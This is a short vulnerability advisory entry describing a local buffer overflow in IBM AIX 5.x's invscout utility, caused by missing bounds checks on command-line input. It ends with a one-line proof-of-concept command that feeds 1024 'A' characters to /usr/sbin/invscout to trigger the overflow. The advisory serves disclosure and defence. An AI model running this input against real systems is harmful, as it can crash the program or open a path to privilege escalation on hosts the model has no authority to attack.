IBM AIX 5.x Invscout Local Buffer Overflow Vulnerability

2014-07-01T00:00:00
ID SSV:79461
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

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                                                source: http://www.securityfocus.com/bid/13909/info

invscout is prone to a local buffer overflow vulnerability. This issue presents itself because the application fails to carry out boundary checks on user-supplied data from the command line. 

/usr/sbin/invscout `perl -e 'print "A" x 1024;'`